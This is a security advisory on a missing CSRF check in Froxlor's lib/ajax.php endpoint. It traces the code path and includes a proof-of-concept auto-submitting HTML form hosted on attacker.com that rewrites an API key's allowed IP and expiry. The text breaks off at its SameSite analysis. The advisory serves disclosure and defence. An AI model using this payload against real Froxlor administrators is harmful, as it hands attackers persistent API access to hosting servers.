Résumé

Froxlor has CSRF Vulnerability in AJAX Endpoint — Missing Cross-Site Request Forgery Protection

Détails de l’avis

Summary

The Froxlor AJAX endpoint (lib/ajax.php) is missing Cross-Site Request Forgery (CSRF) protection. While the main application (lib/init.php) enforces CSRF token validation on all state-changing HTTP requests (POST/PUT/PATCH/DELETE), the standalone lib/ajax.php endpoint bypasses this mechanism entirely, validating only the user's session. An attacker can craft a malicious webpage that, when visited by an authenticated Froxlor administrator, silently modifies API key properties (e.g., adding the attacker's IP to the allowed_from whitelist or extending the valid_until expiration).


Affected Component

  • File: lib/ajax.php — the AJAX endpoint entry point (bypasses lib/init.php)
  • File: lib/Froxlor/Ajax/Ajax.php:66-92Ajax::handle() (no CSRF check before routing)
  • File: lib/Froxlor/Ajax/Ajax.php:257-315Ajax::editApiKey() (writes to database without CSRF check)
  • Version: Froxlor 2.3.7 (likely all prior 2.x versions)

Complete Call Chain: Entry Point → Vulnerable Code

Step 1: Entry Point — lib/ajax.php (standalone bootstrap, bypasses lib/init.php)

// lib/ajax.php:26-47
namespace Froxlor;

use Froxlor\Ajax\Ajax;

require_once dirname(__DIR__) . '/vendor/autoload.php';
require_once dirname(__DIR__) . '/lib/userdata.inc.php';
require_once dirname(__DIR__) . '/lib/functions.php';
require_once dirname(__DIR__) . '/lib/tables.inc.php';

// CRITICAL: This file does NOT include lib/init.php
// Therefore: NO CSRF token is checked before processing the request
echo (new Ajax)->handle();

Contrast with normal flow: All admin/customer pages (e.g., admin_customers.php, customer_domains.php) do:

const AREA = 'admin';
require __DIR__ . '/lib/init.php';  // <-- This enforces CSRF at lines 363-369

Step 2: Ajax Constructor — Session Created, No CSRF Check

// lib/Froxlor/Ajax/Ajax.php:54-61
public function __construct()
{
    $this->action = Request::any('action');  // <-- User-controlled from GET/POST
    $this->theme = Request::any('theme', 'Froxlor');

    UI::sendHeaders();        // Starts session, sets security headers
    UI::sendSslHeaders();     // HSTS headers
    // MISSING: CSRF token validation on POST/PUT/PATCH/DELETE
}

Step 3: Ajax::handle() — Session Validation Only, Routes to Action

// lib/Froxlor/Ajax/Ajax.php:66-92
public function handle()
{
    $this->userinfo = $this->getValidatedSession();  // Only checks: isset($_SESSION['userinfo'])
    // MISSING: CSRF token validation before routing
    // Comparison: init.php lines 363-369 WOULD check here:
    //   if (in_array($_SERVER['REQUEST_METHOD'], ['POST', 'PUT', 'PATCH', 'DELETE'])) {
    //       $current_token = Request::post('csrf_token', ...);
    //       if ($current_token != CurrentUser::getField('csrf_token')) { ERROR; }
    //   }

    switch ($this->action) {
        case 'editapikey':
            return $this->editApiKey();   // <-- State-changing operation, no CSRF guard
        case 'updatetablelisting':
            return $this->updateTablelisting();  // <-- Also POST, also no CSRF
        // ... other cases
    }
}

Step 4: getValidatedSession() — Only Checks Session Exists

// lib/Froxlor/Ajax/Ajax.php:97-103
private function getValidatedSession(): array
{
    if (CurrentUser::hasSession() == false) {
        throw new Exception("No valid session");
    }
    return CurrentUser::getData();
    // hasSession() implementation (CurrentUser.php:47-50):
    //   return !empty($_SESSION) && !empty($_SESSION['userinfo']);
    // This ONLY verifies a session exists.
    // It does NOT verify the request origin or CSRF token.
}

Step 5: editApiKey() — Database Mutation Without Origin Validation

// lib/Froxlor/Ajax/Ajax.php:257-315
private function editApiKey()
{
    // All three parameters come from attacker-controlled POST body:
    $keyid = Request::post('id', 0);                    // Source: $_POST['id']
    $allowed_from = Request::post('allowed_from', "");  // Source: $_POST['allowed_from']
    $valid_until = Request::post('valid_until', "");    // Source: $_POST['valid_until']

    // ... IP format validation (not security-relevant for CSRF) ...

    // SINK: Direct database mutation
    $upd_stmt = Database::prepare("
        UPDATE `api_keys` SET
        `valid_until` = :vu, `allowed_from` = :af
        WHERE `id` = :keyid AND `adminid` = :aid AND `customerid` = :cid
    ");
    Database::pexecute($upd_stmt, [
        'keyid' => $keyid,
        'af' => $allowed_from,     // Attacker's IP written here
        'vu' => $valid_until_db,   // -1 = never expires
        'aid' => $this->userinfo['adminid'],
        'cid' => $cid
    ]);
    return $this->jsonResponse(['allowed_from' => $allowed_from, 'valid_until' => $valid_until]);
}

Step 6: Evidence from Legitimate Frontend — No CSRF Token Sent Even in Normal Usage

// templates/Froxlor/assets/js/jquery/apikeys.js:9-17
// Even the legitimate frontend does NOT send a csrf_token:
$.ajax({
    url: "lib/ajax.php?action=editapikey",
    type: "POST",
    dataType: "json",
    data: {
        id: akid,
        allowed_from: _this.val(),
        valid_until: $('div[data-entry="' + akid + '"] #valid_until').val()
        // NOTE: No csrf_token field here — the backend doesn't require it
    },
    // ...
});

This confirms: the backend does not validate CSRF tokens, so the frontend code does not bother sending one.


CSRF Protection Gap: Side-by-Side Comparison

Aspect lib/init.php (Normal Pages) lib/ajax.php (AJAX Endpoint)
Includes init.php Yes (all admin_*.php, customer_*.php) No — standalone bootstrap
Session validation CurrentUser::hasSession() CurrentUser::hasSession()
CSRF token generation Froxlor::genSessionId(20) ❌ Not generated
CSRF token check (POST/PUT/PATCH/DELETE) ✅ Lines 363-369 ❌ Missing entirely
Rate limiting RateLimiter::run() ❌ Not called
Area enforcement ✅ Admin/Customer area check ❌ Not enforced

Vulnerability Verification

Attack Path (Complete)

[Attacker] Hosts malicious HTML page at https://attacker.com/csrf.html

    <form id="csrf" action="https://froxlor.example.com/lib/ajax.php?action=editapikey"
          method="POST">
      <input type="hidden" name="id" value="1">
      <input type="hidden" name="allowed_from" value="ATTACKER_IP">
      <input type="hidden" name="valid_until" value="-1">
    </form>
    <script>document.getElementById('csrf').submit();</script>

        │
        ▼
[Victim] Froxlor administrator browses to https://attacker.com/csrf.html
  - Victim has an active session at https://froxlor.example.com
  - Session cookie: PHPSESSID=<valid>, SameSite=Lax
        │
        ▼
[Browser] Auto-submits POST to https://froxlor.example.com/lib/ajax.php?action=editapikey
  - Cookie behavior depends on SameSite policy (see below)
        │
        ▼
[Server: lib/ajax.php]
  → require userdata.inc.php, functions.php, tables.inc.php
  → (new Ajax)->handle()
        │
        ▼
[Server: Ajax::__construct()]  (Ajax.php:54-61)
  → $this->action = 'editapikey'  (from GET query string)
  → UI::sendHeaders() → session_start()
  → NO CSRF CHECK
        │
        ▼
[Server: Ajax::handle()]  (Ajax.php:66-68)
  → getValidatedSession() → CurrentUser::hasSession() → TRUE
    (session cookie was sent with request)
  → NO CSRF CHECK before routing
        │
        ▼
[Server: Ajax::editApiKey()]  (Ajax.php:257-315)
  → $keyid = 1 (from POST)
  → $allowed_from = 'ATTACKER_IP' (from POST)
  → $valid_until_db = -1 (from POST, parsed)
  → UPDATE api_keys SET allowed_from='ATTACKER_IP', valid_until=-1 WHERE id=1
        │
        ▼
[Impact] API key #1 now allows connections from ATTACKER_IP, never expires

SameSite=Lax Analysis

F

Références